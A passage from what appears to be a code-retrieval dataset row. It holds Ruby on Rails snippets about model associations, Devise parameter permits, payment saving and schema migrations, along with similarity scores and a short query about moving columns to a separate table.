v['$oid'] if v.is_a?(Hash) && v.has_key?('$oid')\n end\n end\n self.send(\"#{associated_record_field}=\", associated_record_json) if ActivityNotification.config.store_with_associated_records && _options[:store_with_associated_records]\n self.instance_variable_set(\"@#{name}\", nil)\n end\n end\n end",
"def synced_save(association)\n set_callback(\n :save,\n :after,\n if: ->(doc) { doc._syncable?(association) }\n ) do |doc|\n doc.update_inverse_keys(association)\n end\n self\n end",
"def create_associations\n self.associates.each do |associate|\n self.add_associated(associate)\n end\n end",
"def reflect_on_associated_save(association)\n associated_saves[association]\n end",
"def configure_account_update_params\n devise_parameter_sanitizer.permit(:account_update, keys: [:email, :created_at, :updated_at, :telefono, :sucursalt_id, :tipousuariot_id, :activo, :consorciot_id, :sucursalbt, :siglas, :direccion, :ciudadt_id, :provinciat_id, :zonat_id, :vendedor, :contacto, :supervisort_id, :colectort_id, :sociot_id, :gppt_id])\n end",
"def configure_account_update_params\n devise_parameter_sanitizer.permit(:account_update, keys: [:first_name, :second_name, :phone, :street, :house_number,\n :flat_number, :delivery_region, :email, :city, :additional_address,\n addresses_attributes: [:title, :street, :house_number, :flat_number, :delivery_region, :city, :additional_address, :user_id, :main, :id, :_destroy]\n ])\n end",
"def association(association_name,\n as: nil,\n viewmodel: nil,\n viewmodels: nil,\n external: false,\n read_only: false,\n through: nil,\n through_order_attr: nil)\n\n vm_association_name = (as || association_name).to_s\n\n if through\n direct_association_name = through\n indirect_association_name = association_name\n else\n direct_association_name = association_name\n indirect_association_name = nil\n end\n\n target_viewmodels = Array.wrap(viewmodel || viewmodels)\n\n association_data = AssociationData.new(\n owner: self,\n association_name: vm_association_name,\n direct_association_name: direct_association_name,\n indirect_association_name: indirect_association_name,\n target_viewmodels: target_viewmodels,\n external: external,\n read_only: read_only,\n through_order_attr: through_order_attr)\n\n _members[vm_association_name] = association_data\n\n @generated_accessor_module.module_eval do\n define_method vm_association_name do\n _read_association(vm_association_name)\n end\n\n define_method :\"serialize_#{vm_association_name}\" do |json, serialize_context: self.class.new_serialize_context|\n _serialize_association(vm_association_name, json, serialize_context: serialize_context)\n end\n end\n end",
"def association_attributes\n {:person => Person.column_names}\n end",
"def association(association_name); end",
"def associations_before_validation_and_save\n collapse_associations # make obsolete ones = nil\n #\n # TODO: conflicting with 1.6.0 pre-quality. removed to check compatiblity or related errors\n # for remaining, fill login, password details only when login is empty\n [\"senior\", \"subscriber\", \"caregiver1\", \"caregiver2\", \"caregiver3\"].each {|user| autofill_user_login( user) }\n #\n # Fri Nov 12 18:12:01 IST 2010, ramonrails\n # * these are mandatory to dispatch emails in user model\n # * a user must know the role while saving itself\n # assign roles to user objects. it will auto save the roles with user record\n # TODO: use this instead of association_after_save that is assigning roles\n self.senior.lazy_roles[:halouser] = group unless senior.blank? # senior.is_halouser_of group\n self.subscriber.lazy_roles[:subscriber] = senior unless subscriber.blank?\n self.caregiver1.lazy_roles[:caregiver] = senior unless caregiver1.blank?\n self.caregiver2.lazy_roles[:caregiver] = senior unless caregiver2.blank?\n self.caregiver3.lazy_roles[:caregiver] = senior unless caregiver3.blank?\n self.caregiver1.lazy_options[ senior ] = mem_caregiver1_options\n self.caregiver2.lazy_options[ senior ] = mem_caregiver2_options\n self.caregiver3.lazy_options[ senior ] = mem_caregiver3_options\n #\n # # now collect the users for save as associations\n # self.users = [senior, subscriber, caregiver1, caregiver2, caregiver3].uniq.compact # omit nil, duplicates\n end",
"def configure_permitted_parameters\n user_data = [:alias]\n\n devise_parameter_sanitizer.permit(:sign_up, keys: user_data)\n devise_parameter_sanitizer.permit(:account_update, keys: user_data)\n end",
"def association\n @association ||= model.reflect_on_association(@name)\n end",
"def save_payer_and_its_related_attributes\r\n result = true\r\n error_message = nil\r\n if !params[:id].blank?\r\n @payer = Payer.find(params[:id])\r\n else\r\n @payer = Payer.new\r\n end\r\n params[:payer][:payer_type] = params[:payer_type]\r\n params[:payer][:footnote_indicator] = params[:payer_footnote_indicator]\r\n params[:payer][:set_name] = params[:rc_set][:name]\r\n\r\n result, error_message = validate_payer_and_its_related_attributes\r\n message = error_message if result\r\n logger.debug \"validate_payer_and_its_related_attributes : #{result}\"\r\n return result, error_message if not result\r\n\r\n result, error_message = save_payer\r\n return result, error_message if not result\r\n\r\n if @is_partner_bac\r\n logger.debug \"Invoking BAC payer mapping webservice call.\"\r\n if make_edc_calls\r\n flash.now[:notice] = \"Payer #{@payer.payer} updated sucessfully and marked for approval\"\r\n end\r\n end\r\n if !@do_not_save_micr\r\n result, error_message = save_micr\r\n return result, error_message if not result\r\n save_micr_specific_payer_name\r\n save_facility_specific_plan_type\r\n end\r\n save_payment_and_allowance_and_capitation_codes\r\n save_output_payid\r\n\r\n error_message = message.to_s + error_message.to_s\r\n error_message = nil if error_message.blank?\r\n return result, error_message\r\n end",
"def save_with_payment\n if valid? # We did added some validation to make sure user filled in properly ::contact.rb\n # After Stripe get this info, Stripe will do the charging, this method comes from Stripe gem\n # Stripe will return an id after charging\n customer = Stripe::Customer.create(description: email, plan: plan_id, source: stripe_card_token) # Stripe had upgrade their API from card: -> source:\n # Set a property to the user after received the id Stripe returned(stripe will return customer hash)\n # 'self' means the target of this function, in this case is User, and we set a new atribute stripe_customer_token to User. \n self.stripe_customer_token = customer.id # Setting stripe_customer_token to Stripe::customer.id \n save!\n end\n \n end",
"def build_callback_to_dependee_model\n last_association_chain = @quickery_builder.association_chains.last\n last_association_chain.model.quickery_association_chain_dependees ||= []\n last_association_chain.model.quickery_association_chain_dependees << last_association_chain\n end",
"def reflection_merge(reflection, from, to)\n foreign_key = reflection.options[:foreign_key] || table_name.classify.foreign_key\n sql = case reflection.macro\n when :has_one, :has_many\n \"UPDATE #{reflection.klass.table_name} SET #{foreign_key} = #{to} WHERE #{foreign_key} = #{from}\\n\" \n when :has_and_belongs_to_many\n join_table = reflection.options[:join_table] || ( table_name < reflection.klass.table_name ? '#{table_name}_#{reflection.klass.table_name}' : '#{reflection.klass.table_name}_#{table_name}')\n \"UPDATE #{join_table} SET #{foreign_key} = #{to} WHERE #{foreign_key} = #{from}\\n\" \n else return\n end\n connection.update(sql)\n end",
"def before_create\n select = \"#{Company.table_name}.id\"\n \n # serialized adjustments. initialize the array.\n self.adjustments = []\n \n case payable_type\n when \"OrderEntityCost\" \n j = \"LEFT OUTER JOIN #{OrderEntity.table_name} AS oe ON oe.company_id = #{Company.table_name}.id\"\n j += \" LEFT OUTER JOIN #{OrderEntityCost.table_name} AS oec ON oec.order_entity_id = oe.id\"\n c = \"oec.id = #{payable_id}\" \n self.company_id = Company.find(:first, :select => select, :conditions => c, :joins => j).id\n self.name = payable.type.name\n when \"OrderEntity\"\n j = \"LEFT OUTER JOIN #{OrderEntity.table_name} AS oe ON oe.company_id = #{Company.table_name}.id\"\n c = \"oe.id = #{payable_id}\"\n self.company_id = Company.find(:first, :select => select, :conditions => c, :joins => j).id\n self.name = payable.type.label + ' charge' #<-- OrderTypeEntity.label [Pickup Agent, Carrier, Delivery-agent, etc]\n when \"CompanySalesAccount\"\n j = \"LEFT OUTER JOIN #{Account.table_name} AS a ON a.company_id = #{Company.table_name}.id\"\n j += \" LEFT OUTER JOIN #{CompanySalesAccount.table_name} AS csa ON csa.account_id = a.id\"\n c = \"csa.id = #{payable_id}\"\n self.name = \"Commission\"\n self.company_id = Company.find(:first, :select => select, :conditions => c, :joins => j).id \n end\n end",
"def call_create_saleorder_and_invoice(hotelres)\n hotelres.call(\"confirmed_reservation\",[hotelres.id])\n acm = eval(session[:database_name].to_s.upcase.to_s)::AccountMove.new\n acm.journal_id = eval(session[:database_name].to_s.upcase.to_s)::AccountJournal.search([['type','=','bank']])[0]\n acm.company_id = hotelres.company_id.id\n acm.ref = hotelres.reservation_no\n acm.save\n acm.reload\n acml = eval(session[:database_name].to_s.upcase.to_s)::AccountMoveLine.new\n acml.move_id = acm.id\n acml.name = hotelres.reservation_no\n acml.partner_id = hotelres.partner_id.id\n acml.account_id = hotelres.partner_id.property_account_receivable.id\n acml.credit = hotelres.total_cost1\n acml.debit = 0\n acml.status = 'draft'\n base_currency = ResCurrency.find(:all,:domain=>[['base','=',true]])[0]\n available_paypal_array = [\"AUD\",\"CAD\",\"CZK\",\"DKK\",\"EUR\",\"HKD\",\"HUF\",\"JPY\",\"NOK\",\"NZD\",\"PLN\",\"GBP\",\"SGD\",\"SEK\",\"CHF\"]\n if base_currency\n acml.currency_id = base_currency.id\n if available_paypal_array.include?(base_currency.name)\n acml.amount_currency = \"-\"+(hotelres.total_cost1).to_s\n elsif base_currency.name == \"USD\"\n acml.amount_currency = \"-\"+(hotelres.total_cost1).to_s\n else\n convertrateusd = ResCurrency.find(:all,:domain=>[['name','=','USD' ]])[0]\n acml.currency_id = convertrateusd.id\n acml.amount_currency = \"-\"+(hotelres.total_cost1 * convertrateusd.rate).to_s\n end\n else\n convertrateusd = ResCurrency.find(:all,:domain=>[['name','=','USD' ]])[0]\n acml.currency_id = convertrateusd.id\n acml.amount_currency = \"-\"+(hotelres.total_cost1 ).to_s\n end\n acml.save\n acml = eval(session[:database_name].to_s.upcase.to_s)::AccountMoveLine.new\n acml.move_id = acm.id\n acml.name = hotelres.reservation_no\n acml.partner_id = hotelres.partner_id.id\n acml.account_id = eval(session[:database_name].to_s.upcase.to_s)::AccountJournal.find(eval(session[:database_name].to_s.upcase.to_s)::AccountJournal.search([['type','=','bank']])[0]).default_debit_account_id.id\n acml.debit = hotelres.total_cost1\n acml.credit = 0\n if base_currency\n acml.currency_id = base_currency.id\n if available_paypal_array.include?(base_currency.name)\n acml.amount_currency = hotelres.total_cost1\n elsif base_currency.name == \"USD\"\n acml.amount_currency = hotelres.total_cost1\n else\n convertrateusd = ResCurrency.find(:all,:domain=>[['name','=','USD' ]])[0]\n acml.currency_id = convertrateusd.id\n acml.amount_currency = hotelres.total_cost1 * convertrateusd.rate\n end\n else\n default_cur = ResCurrency.find(:all,:domain=>[['name','=','USD' ]])[0]\n acml.currency_id = default_cur.id\n acml.amount_currency = hotelres.total_cost1\n end\n acml.status = 'draft'\n acml.save\n end",
"def associations_after_save\n # # WARNING: the associations here are not using active_record, so they are not auto saved with user intake\n # # we are saving the associations manually here\n # collapse_associations # make obsolete ones = nil\n #\n # TODO: conflicting with 1.6.0 pre-quality. removed to check compatiblity or related errors\n # for remaining, fill login, password details only when login is empty\n # This is a 3 step process\n # \n # Thu Nov 11 00:14:24 IST 2010, ramonrails\n # Link per user, once only. compact.uniq ensures that\n [\"senior\", \"subscriber\", \"caregiver1\", \"caregiver2\", \"caregiver3\"].each do |_what|\n # \n # Sat Nov 20 02:03:52 IST 2010, ramonrails\n # * this logic is required when uset simply toggles the flag and saves\n _user = self.send( _what) # fetch the associated user\n unless _user.blank? || _user.nothing_assigned?\n # * default properties\n _user.autofill_login # create login and password if not already\n _user.lazy_associations[:user_intake] = self\n _user.skip_validation = true # TODO: patch for 1.6.0 release. fix later with business logic, if required\n\n case _what\n when 'senior'\n # _user.save\n # _user.is_halouser_of( group) unless _user.blank? || group.blank? # role\n _user.lazy_roles[:halouser] = group unless _user.blank? || group.blank? # role\n _user.save\n \n when 'subscriber'\n if subscribed_for_self? # senior is same as subscriber\n if was_subscribed_for_self?\n # * user and subscriber are same. not changed\n else\n # * subscriber was different. now same as senior\n self.subscriber_is_user = false # create old condition\n subscriber.is_not_subscriber_of( senior) unless subscriber.blank? || senior.blank? # remove old role first\n # subscriber.delete # remove this extra user\n self.subscriber_is_user = true # back to current situation\n end\n # _user.save\n # _user.is_subscriber_of( senior) unless _user.blank? || senior.blank? # role\n _user.lazy_roles[:subscriber] = senior unless _user.blank? || senior.blank? # role\n _user.save\n\n else # senior different from subscriber\n if was_subscribed_for_self?\n _user = senior.clone_with_profile if senior.equal?( subscriber) # same IDs, clone first\n senior.is_not_subscriber_of( senior) unless senior.blank? # senior was subscriber, not now\n else\n # all good. nothing changed\n end\n # _user.save\n # _user.is_subscriber_of( senior) unless _user.blank? || senior.blank? # role\n _user.lazy_roles[:subscriber] = senior unless _user.blank? || senior.blank? # role\n _user.save\n end\n \n when 'caregiver1'\n if caregiving_subscriber? # subscriber is caregiver\n if was_caregiving_subscriber?\n # all good. nothing changed\n else\n # was separate\n self.subscriber_is_caregiver = false # make old condition\n caregiver1.is_not_caregiver_of( senior) unless caregiver1.blank? || senior.blank?\n # caregiver1.delete # remove extra\n self.subscriber_is_caregiver = true # current condition again\n end\n \n else # subscriber different from caregiver1\n if was_caregiving_subscriber?\n _user = subscriber.clone_with_profile if subscriber.equal?( caregiver1) # same ID? clone first\n subscriber.is_not_caregiver_of( senior) unless subscriber.blank? || senior.blank? # remove caregiving role for subscriber\n else\n # all good. nothing changed\n end\n end\n if caregiving_subscriber? || (caregiver1_required? && _user.something_assigned? && !senior.blank? && !_user.equal?( senior))\n # _user.save\n # _user.is_caregiver_of( senior) unless _user.blank? || senior.blank? || _user.equal?( senior)\n # _user.options_for_senior( senior, mem_caregiver1_options)\n _user.lazy_roles[:caregiver] = senior\n _user.lazy_options[ senior] = mem_caregiver1_options\n _user.save\n # else\n # self.no_caregiver_1 = true\n # self.send(:update_without_callbacks)\n end\n \n when 'caregiver2'\n if caregiver2_required? && _user.something_assigned? && !senior.blank? && !_user.equal?( senior)\n # _user.save\n # _user.is_caregiver_of( senior) unless _user.blank? || senior.blank? || _user.equal?( senior)\n # _user.options_for_senior( senior, mem_caregiver2_options)\n _user.lazy_roles[:caregiver] = senior\n _user.lazy_options[ senior] = mem_caregiver2_options\n _user.save\n else\n self.no_caregiver_2 = true\n self.send(:update_without_callbacks)\n end\n\n when 'caregiver3'\n if caregiver3_required? && _user.something_assigned? && !senior.blank? && !_user.equal?( senior)\n # _user.save\n # _user.is_caregiver_of( senior) unless _user.blank? || senior.blank? || _user.equal?( senior)\n # _user.options_for_senior( senior, mem_caregiver3_options)\n _user.lazy_roles[:caregiver] = senior\n _user.lazy_options[ senior] = mem_caregiver3_options\n _user.save\n else\n self.no_caregiver_3 = true\n self.send(:update_without_callbacks)\n end\n end # case\n end # blank?\n end # _what\n \n # \n # Thu Jan 13 02:38:38 IST 2011, ramonrails\n # * Not required anymore\n # * lazy_associations attaches each user to this user intake\n # #\n # # * replace earlier associations. keep fresh ones\n # # * do not create duplicate associations\n # # QUESTION: what happens to orphaned users here?\n # # * reject new_record? anything not saved does not get assigned\n # # * only associate one copy of each\n # self.users = [senior, subscriber, caregiver1, caregiver2, caregiver3].reject(&:new_record?).compact.uniq\n # # # \n # # # Thu Jan 13 02:34:27 IST 2011, ramonrails\n # # # * pre_quality.feature had error dispatching emails\n # # # * This might dispatch the email more than once\n # # self.users.each(&:dispatch_emails)\n\n\n # [\"senior\", \"subscriber\", \"caregiver1\", \"caregiver2\", \"caregiver3\"].each do |_what|\n # \n # # \n # # Fri Nov 19 03:17:32 IST 2010, ramonrails\n # # * skip saving the object if already saved\n # # * happens when object is shared. subscriber == user, or, subscriber == caregiver\n # # * saving also dispatches emails. A few more triggers/callbacks. Please check model code\n # _skip = ((_what == 'subscriber') && subscribed_for_self?)\n # _skip = (_skip || (_what == 'caregiver1' && caregiving_subscriber?))\n # # \n # # Thu Nov 11 00:32:18 IST 2010, ramonrails\n # # Do not save any non-assigned data, or blank ones\n # unless _user.blank? || _user.nothing_assigned? || _skip\n # _user.skip_validation = true # TODO: patch for 1.6.0 release. fix later with business logic, if required\n # \n # # _user.autofill_login # Step 1: make them valid\n # if _user.save # Step 2: save them to database\n # # \n # # Thu Nov 11 00:13:31 IST 2010, ramonrails\n # # https://redmine.corp.halomonitor.com/issues/3696\n # # caused a bug that created multiple links to the same user\n # self.users << _user unless users.include?( _user) # Step 3: link them to user intake\n # end\n # end\n # end\n # #\n # # * add roles and options\n # # * roles are already handled by user model\n # # * this will not double write the roles\n # # senior\n # senior.is_halouser_of( group) unless senior.blank?\n # # subscriber\n # unless senior.blank? || subscriber.blank?\n # subscriber.is_subscriber_of( senior)\n # subscriber.is_caregiver_of( senior) if caregiving_subscriber?\n # end\n # # Wed Oct 27 23:55:22 IST 2010\n # # * no need to check subscriber_is_caregiver here. that is done in caregiver1 method\n # # * just call for each caregiver and assign position and other options\n # (1..3).each do |index|\n # _caregiver = self.send(\"caregiver#{index}\".to_sym)\n # _required = self.send(\"caregiver#{index}_required?\")\n # unless (_caregiver.blank? || !_required || _caregiver.nothing_assigned?)\n # _caregiver.is_caregiver_of( senior) unless _caregiver.is_caregiver_of?( senior)\n # # \n # # Thu Nov 4 05:57:16 IST 2010, ramonrails\n # # user values were stored with apply_attributes_from_hash\n # # now we persist them into database\n # _options = self.send(\"mem_caregiver#{index}_options\")\n # # \n # # Thu Nov 18 20:58:29 IST 2010, ramonrails\n # # * Do not use any other method here, cyclic dependency can occur\n # _caregiver.options_for_senior( senior, _options)\n # end\n # end\n\n end",
"def auto_assoc(opts = {})\n except = opts[:except] || []\n\n assocs = db.schema_parse_associations(table_name)\n relations = process_join_tables(assocs)\n\n relations.each do |row|\n src_tbl = row[:src_tbl]\n src_col = row[:src_col]\n if src_tbl == table_name && ! (src_col & except).empty?\n # TODO enable except for *_to_many\n next\n end\n src_uniq = row[:src_uniq]\n src_cardinality = cardinality(src_uniq)\n\n join_tbl = row[:join_tbl]\n\n dst_tbl = row[:dst_tbl]\n dst_col = row[:dst_col]\n dst_uniq = row[:dst_uniq]\n dst_cardinality = cardinality(dst_uniq)\n\n TABLE_MODELS.wait_all(src_tbl, dst_tbl) do |src_cls, dst_cls|\n self_ref = src_cls == dst_cls\n\n src = self_ref ? :child : underscore(src_cls.name).to_sym\n src = src_uniq ? singularize(src).to_sym : pluralize(src).to_sym\n\n dst = self_ref ? :parent : underscore(dst_cls.name).to_sym\n dst = dst_uniq ? singularize(dst).to_sym : pluralize(dst).to_sym\n\n if join_tbl\n left_col = row[:left_col]\n right_col = row[:right_col]\n send :many_to_many, src, :class => src_cls, :join_table => join_tbl,\n :left_key => left_col, :left_primary_key => dst_col,\n :right_key => right_col, :right_primary_key => src_col\n else\n # TODO name overrides\n\n if self == dst_cls\n # dst holds the foreign key -> one_to_*\n meth = dst_cardinality + '_to_' + src_cardinality\n send meth, src, :class => src_cls, :key => src_col, :primary_key => dst_col\n end\n\n if self == src_cls\n # src holds the foreign key -> *_to_one\n meth = src_cardinality + '_to_' + dst_cardinality\n\n # one_to_one requires to swap pk and fk\n src_col, dst_col = dst_col, src_col if src_uniq\n send meth, dst, :class => dst_cls, :key => src_col, :primary_key => dst_col\n end\n end\n\n end\n end\n end",
"def save_habtm_association?(assoc)\n @record.class.paper_trail_save_join_tables.include?(assoc.name) ||\n PaperTrail.request.enabled_for_model?(assoc.klass)\n end",
"def after_create(record)\n record.vendor_proxies = Vendor.all_proxies\n end",
"def _set_associated_object(opts, o)\n a = associations[opts[:name]]\n return if a && a == o && !set_associated_object_if_same?\n run_association_callbacks(opts, :before_set, o)\n remove_reciprocal_object(opts, a) if a\n send(opts._setter_method, o)\n associations[opts[:name]] = o\n add_reciprocal_object(opts, o) if o\n run_association_callbacks(opts, :after_set, o)\n o\n end",
"def nested_options_for(record)\n if self.parent\n association = self.association\n attr_name = [:one,:many_to_many].include?(association.macro) ? :id : association.foreign_key\n association_record = if association.through? && record.send(association.through)\n record.send(association.through)\n elsif association.macro == :one\n record.send(association.name)\n else\n record\n end\n attr_value = association_record && association_record.id\n base_options = {\n attr_name => attr_value,\n :parent => self.root.dbi.klass.to_s,\n :path => self.parents.map{|parent| parent.is_a?(Lolita::Configuration::List) ? \"l_\" : \"c_#{parent.name}\"}\n }\n if association.macro == :many_to_many\n base_options.merge({\n :association => association.name\n })\n end\n {:nested => base_options}\n end\n end",
"def build(attributes = {})\n attributes.merge! foreign_key_association\n @klass.build(attributes.merge(owner_path))\n end",
"def configure_permitted_parameters\n extra_keys = [:avatar, :name, :time_zone, :preferred_language]\n signup_keys = extra_keys + [:terms_of_service, :invite, owned_accounts_attributes: [:name]]\n devise_parameter_sanitizer.permit(:sign_up, keys: signup_keys)\n devise_parameter_sanitizer.permit(:account_update, keys: extra_keys)\n devise_parameter_sanitizer.permit(:accept_invitation, keys: extra_keys)\n end",
"def association_reflection(association)\n uar = used_association_reflections\n Sequel.synchronize{uar[association] ||= true}\n super\n end",
"def configure_account_update_params\n devise_parameter_sanitizer.permit(:account_update, keys: [:name, :phone, :real_estate_company, :real_estate_company_id])\n end"
] |
[
"0.56819475",
"0.55512416",
"0.5510548",
"0.54000443",
"0.5351391",
"0.53464437",
"0.5275663",
"0.5219873",
"0.5216755",
"0.5205658",
"0.5205035",
"0.518835",
"0.5182834",
"0.51320386",
"0.5122864",
"0.5073533",
"0.503367",
"0.50225013",
"0.50126785",
"0.4997075",
"0.49950206",
"0.49541983",
"0.4945562",
"0.49181712",
"0.49170324",
"0.49167576",
"0.4911547",
"0.4897963",
"0.48964635",
"0.489505",
"0.48915944",
"0.48819208",
"0.48732606",
"0.48687688",
"0.48634723",
"0.48629493",
"0.48598704",
"0.48575565",
"0.48512292",
"0.48369408",
"0.4832976",
"0.48044306",
"0.4800658",
"0.47913644",
"0.4791001",
"0.47848383",
"0.47743312",
"0.477225",
"0.47698936",
"0.4760442",
"0.47584414",
"0.47501123",
"0.47438517",
"0.4741233",
"0.4739525",
"0.4738504",
"0.47382534",
"0.47382376",
"0.4735015",
"0.47327593",
"0.47303402",
"0.47265258",
"0.47217226",
"0.4719814",
"0.47188017",
"0.4717773",
"0.47162214",
"0.4712579",
"0.47073877",
"0.47049844",
"0.47047743",
"0.46967953",
"0.46946204",
"0.4693938",
"0.46916273",
"0.46883",
"0.46870545",
"0.4681685",
"0.468057",
"0.46703348",
"0.46642146",
"0.46503738",
"0.46480957",
"0.46471474",
"0.4645835",
"0.46458086",
"0.46447164",
"0.46416992",
"0.4640672",
"0.46371812",
"0.46347284",
"0.46280664",
"0.46198377",
"0.46166554",
"0.4615729",
"0.46149695",
"0.46120486",
"0.4611988",
"0.46078518",
"0.46068192"
] |
0.49486792
|
22
|
MIGRATION use separate table over columns in same table Accessors for backward compatibility
|
def payment_gateway_type
gateway_setting.gateway_type
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def migrate\n raise NotImplementedError\n end",
"def migrate\n db.create_table? table_name do\n primary_key :id\n String :ptype\n String :v0\n String :v1\n String :v2\n String :v3\n String :v4\n String :v5\n end\n end",
"def migrate\n ActiveRecord::Schema.define do\n self.verbose = true # or false\n\n enable_extension \"plpgsql\"\n #enable_extension \"pgcrypto\"\n\n create_table(:access_lines, force: true) do |t|\n t.string :line, null: false\n t.datetime :timestamp, null: false\n t.string :username, null: false\n t.string :peer_id, null: false\n end\n\n # A backup for the uniqueness validation in AccessLine\n add_index :access_lines, [:timestamp, :username], unique: true\n end\n end",
"def migration\n end",
"def migrated_up(migration)\n column_family.insert({\n data: {\n version: migration.version.to_s,\n name: migration.name,\n migrated_at: Time.now.utc,\n },\n })\n end",
"def migrate(_key, _options); end",
"def migrate(key, options); end",
"def migration_update_table\n added, removed, changed, prev_fields = field_changes\n\n if table_comments\n new_table_comment = table_comment_changes\n new_fields_comments = fields_comments_changes\n end\n\n unless added.present? || removed.present? || changed.present? ||\n new_table_comment || new_fields_comments.present? || table_name_changed || no_master_association_changed\n return\n end\n\n new_fields_comments ||= {}\n\n <<~ARCONTENT\n self.no_master_association = #{!!no_master_association}\n #{table_name_changed ? \" self.prev_table_name = '#{prev_table_name}'\" : ''}\n #{table_name_changed ? ' update_table_name' : ''}\n #{table_name_changed ? '' : \" self.prev_fields = %i[#{prev_fields.join(' ')}]\"}\n \\# added: #{added}\n \\# removed: #{removed}\n \\# changed type: #{changed}\n #{new_table_comment ? \" \\# new table comment: #{new_table_comment.gsub(\"\\n\", '\\n')}\" : ''}\n #{new_fields_comments.present? ? \" \\# new fields comments: #{new_fields_comments.keys}\" : ''}\n update_fields\n ARCONTENT\n end",
"def alter_table_sql(table, op)\n case op[:op]\n when :rename_column\n unless sch = op[:schema]\n raise(Error, \"can't find existing schema entry for #{op[:name]}\") unless sch = op[:schema] || schema(table).find{|c| c.first == op[:name]}\n sch = sch.last\n end\n [\n alter_table_sql(table, :op=>:add_column, :name=>op[:new_name], :default=>sch[:ruby_default], :type=>sch[:db_type], :null=>sch[:allow_null]),\n from(table).update_sql(op[:new_name]=>op[:name]),\n alter_table_sql(table, :op=>:drop_column, :name=>op[:name])\n ]\n when :set_column_null, :set_column_default\n raise(Error, \"can't find existing schema entry for #{op[:name]}\") unless sch = op[:schema] || schema(table).find{|c| c.first == op[:name]}\n sch = sch.last\n\n sch = if op[:op] == :set_column_null\n sch.merge(:allow_null=>op[:null])\n else\n sch.merge(:ruby_default=>op[:default])\n end\n\n [\n alter_table_sql(table, :op=>:rename_column, :name=>op[:name], :new_name=>:sequel_access_backup_column, :schema=>sch),\n alter_table_sql(table, :op=>:rename_column, :new_name=>op[:name], :name=>:sequel_access_backup_column, :schema=>sch)\n ]\n else\n super\n end\n end",
"def undo_cleanup_concurrent_column_rename(table, old_column, new_column, type: nil, batch_column_name: :id)\n Gitlab::Database::QueryAnalyzers::RestrictAllowedSchemas.require_ddl_mode!\n\n setup_renamed_column(__callee__, table, new_column, old_column, type, batch_column_name)\n\n with_lock_retries do\n install_bidirectional_triggers(table, old_column, new_column)\n end\n end",
"def rename_column_concurrently(table, old_column, new_column, type: nil, batch_column_name: :id)\n Gitlab::Database::QueryAnalyzers::RestrictAllowedSchemas.require_ddl_mode!\n\n setup_renamed_column(__callee__, table, old_column, new_column, type, batch_column_name)\n\n with_lock_retries do\n install_bidirectional_triggers(table, old_column, new_column)\n end\n end",
"def up\n # Use self.class:: so constants are resolved in subclasses instead of this class.\n self.class::COLUMNS.each do |column|\n change_column_null(self.class::TABLE_NAME, column, false)\n end\n end",
"def migrate\n DataMapper.auto_migrate!\n end",
"def standard_columns\n pset = %w[id created_at updated_at contactid user_id\n extra_log_type admin_id]\n\n # Only add in the master_id if the master is a foreign key, not a standard integer field\n # so that we treat the field correctly in comparisons of new - old\n pset << 'master_id' if master_fk?\n\n pset += [\"#{table_name.singularize}_table_id\", \"#{table_name.singularize}_id\"]\n pset\n end",
"def real_column; end",
"def prefix_for_tables\n migration_version = ActiveRecord::Migrator.current_version\n end",
"def columns_default\n super + ['version']\n end",
"def migration_keys\n [:name, :limit, :precision, :unsigned, :scale, :default, :null]\n end",
"def generate_migrations\n versions = []\n versions << generate_migration(\"create_users\", <<-EOF\nHanami::Model.migration do\n change do\n create_table :users do\n primary_key :id\n column :name, String\n end\n end\nend\nEOF\n)\n\n versions << generate_migration(\"add_age_to_users\", <<-EOF\nHanami::Model.migration do\n change do\n add_column :users, :age, Integer\n end\nend\nEOF\n)\n versions\n end",
"def update_schema\n create_table unless table_exists?\n (schema_columns - column_names).each { |column| ActiveRecord::Migration.add_column(table_name, column, :string) }\n (column_names - protected_columns - schema_columns).each { |column| ActiveRecord::Migration.remove_column(table_name, column) }\n end",
"def recreate_column(name, schema, gen, options)\n if options[:single_pk] && schema_autoincrementing_primary_key?(schema)\n type_hash = options[:same_db] ? {:type=>schema[:db_type]} : column_schema_to_ruby_type(schema)\n [:table, :key, :on_delete, :on_update, :deferrable].each{|f| type_hash[f] = schema[f] if schema[f]}\n if type_hash == {:type=>Integer} || type_hash == {:type=>\"integer\"} || type_hash == {:type=>\"INTEGER\"}\n type_hash.delete(:type)\n elsif options[:same_db] && type_hash == {:type=>type_literal_generic_bignum_symbol(type_hash).to_s}\n type_hash[:type] = :Bignum\n end\n\n unless gen.columns.empty?\n type_hash[:keep_order] = true\n end\n\n if type_hash.empty?\n gen.primary_key(name)\n else\n gen.primary_key(name, type_hash)\n end\n else\n col_opts = if options[:same_db]\n h = {:type=>schema[:db_type]}\n if database_type == :mysql && h[:type] =~ /\\Atimestamp/\n h[:null] = true\n end\n if database_type == :mssql && schema[:max_length]\n h[:size] = schema[:max_length]\n end\n h\n else\n column_schema_to_ruby_type(schema)\n end\n type = col_opts.delete(:type)\n if col_opts.key?(:size) && col_opts[:size].nil?\n col_opts.delete(:size)\n if max_length = schema[:max_length]\n col_opts[:size] = max_length\n end\n end\n if schema[:generated]\n if options[:same_db] && database_type == :postgres\n col_opts[:generated_always_as] = column_schema_to_ruby_default_fallback(schema[:default], options)\n end\n else\n col_opts[:default] = if schema[:ruby_default].nil?\n column_schema_to_ruby_default_fallback(schema[:default], options)\n else\n schema[:ruby_default]\n end\n col_opts.delete(:default) if col_opts[:default].nil?\n end\n col_opts[:null] = false if schema[:allow_null] == false\n if table = schema[:table]\n [:key, :on_delete, :on_update, :deferrable].each{|f| col_opts[f] = schema[f] if schema[f]}\n col_opts[:type] = type unless type == Integer || type == 'integer' || type == 'INTEGER'\n gen.foreign_key(name, table, col_opts)\n else\n gen.column(name, type, col_opts)\n if [Integer, :Bignum, Float, BigDecimal].include?(type) && schema[:db_type] =~ / unsigned\\z/io\n gen.check(Sequel::SQL::Identifier.new(name) >= 0)\n end\n end\n end\n end",
"def functional_update_schema # abstract\n raise 'abstract'\n end",
"def setup_columns\n if inheritable?\n SimpleSet.new([primary_key, inheritance_column])\n else\n primary_key.blank? ? SimpleSet.new : SimpleSet.new([primary_key])\n end \n end",
"def clone_versioned_model(orig_model, new_model)\n self.class.versioned_columns.each do |col|\n new_model[col.name] = orig_model.send(col.name) if orig_model.has_attribute?(col.name)\n end\n\n clone_inheritance_column(orig_model, new_model)\n end",
"def export_columns\n self.entity_columns.select(\"name, description, ref_type, ref_name, col_type\").where(\"list_rank > 0 and name not in ('domain_id', 'creator_id', 'updater_id', 'created_at', 'updated_at')\").order(\"list_rank asc\")\n end",
